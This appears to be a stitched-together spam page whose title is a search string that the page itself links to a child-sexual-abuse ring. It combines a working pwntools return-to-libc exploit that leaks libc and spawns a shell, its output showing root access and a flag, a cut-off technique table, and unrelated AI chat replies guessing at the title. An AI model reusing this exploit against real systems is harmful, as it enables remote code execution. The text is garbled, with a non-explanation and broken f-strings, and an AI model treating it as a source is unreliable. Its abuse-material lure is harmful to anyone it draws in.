Lslandissue06littlepirateslsp007 【Trusted Source】

#!/usr/bin/env python3
from pwn import *
binary = './lsp007'
elf    = ELF(binary)
libc   = ELF('/usr/lib/x86_64-linux-gnu/libc.so.6')   # or the libc used on the remote host
context.binary = elf
context.terminal = ['tmux', 'splitw', '-h']
def start():
    if args.REMOTE:
        return remote('pwn.chal.island', 31337)
    else:
        return process(binary)
p = start()
# ----------------------------------------------------------------------
# 1️⃣ Stage 1 – Leak puts address
# ----------------------------------------------------------------------
pop_rdi = elf.address + 0x125b          # pop rdi ; ret
ret     = elf.address + 0x124a          # ret (for alignment)
plt_puts = elf.plt['puts']
got_puts = elf.got['puts']
main    = elf.sym['main']
payload = flat(
    b'A' * 0x48,
    pop_rdi,
    got_puts,
    plt_puts,
    main
)
p.sendlineafter(b'What do you want to say?', payload)
# receive the leaked puts address
leak = p.recvline().strip()
leaked_puts = u64(leak.ljust(8, b'\x00'))
log.success(f'Leaked puts@GLIBC: hex(leaked_puts)')
# ----------------------------------------------------------------------
# 2️⃣ Compute libc base and required symbols
# ----------------------------------------------------------------------
libc_base = leaked_puts - libc.symbols['puts']
system = libc_base + libc.symbols['system']
binsh = libc_base + next(libc.search(b'/bin/sh'))
log.info(f'libc base : hex(libc_base)')
log.info(f'system   : hex(system)')
log.info(f'/bin/sh  : hex(binsh)')
# ----------------------------------------------------------------------
# 3️⃣ Stage 2 – Call system("/bin/sh")
# ----------------------------------------------------------------------
payload2 = flat(
    b'A' * 0x48,
    pop_rdi,
    binsh,
    ret,
    system
)
p.sendlineafter(b'What do you want to say?', payload2)
# give us an interactive shell
p.interactive()

Explanation of the script

To understand this file, it is necessary to understand its origin. LS Studio (also known as LS Models, Ukrainian Angels Studio, or simply LS) was a child pornography ring based in Ukraine that operated from approximately 2001 to 2004.

$ python3 exploit.py
[*] '/home/user/lsp007'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled
[*] Loaded 9 cached gadgets for './lsp007'
[*] Connecting to pwn.chal.island on port 31337
[*] Leaked puts@GLIBC: 0x7f3b2c4e90b0
[*] libc base : 0x7f3b2c4c2000
[*] system   : 0x7f3b2c4e3d90
[*] /bin/sh  : 0x7f3b2c4e6e90
[*] Switching to interactive mode
$ whoami
root
$

The exploit yields a root shell on the remote server, and the flag can be read from /home/ctf/flag.txt:

$ cat /home/ctf/flag.txt
flagl1ttl3_p1r4t3s_s33m_t0_hav3_4_s3cr3t

| Technique | Why it mattered | |-----------|-----------------| | Use of gets | The classic, unchecked read leads to a trivial overflow. | | PIE bypass | A first‑stage leak of a known GOT entry is enough to compute the binary base (and later the libc base). | | Return‑to‑libc | No need for complex ROP chains; a single system("/bin/sh") call suffices. | | Stack alignment | Adding a ret gadget after pop rdi avoids the “SIGSEGV due to mis‑aligned

It looks like you’re referencing a specific code or filename — possibly from a comic, game, or digital release (“Island Issue 06,” “Little Pirates,” “LSP007”). I’d be glad to help you create a paper (e.g., an academic-style analysis, a review, a summary, or a creative write-up) based on that content, but I need a little more direction.

Could you clarify which of these you need?

If you can share:

…I’ll write the complete paper for you immediately.

Based on the string you provided, "lslandissue06littlepirateslsp007" appears to be a specific identifier, likely for a digital file or a magazine issue related to "Little Pirates." lslandissue06littlepirateslsp007

While there is no single widely-known story with this exact title in mainstream literature, the string suggests the following components:

Island Issue 06: Likely refers to the 6th edition of a series or magazine named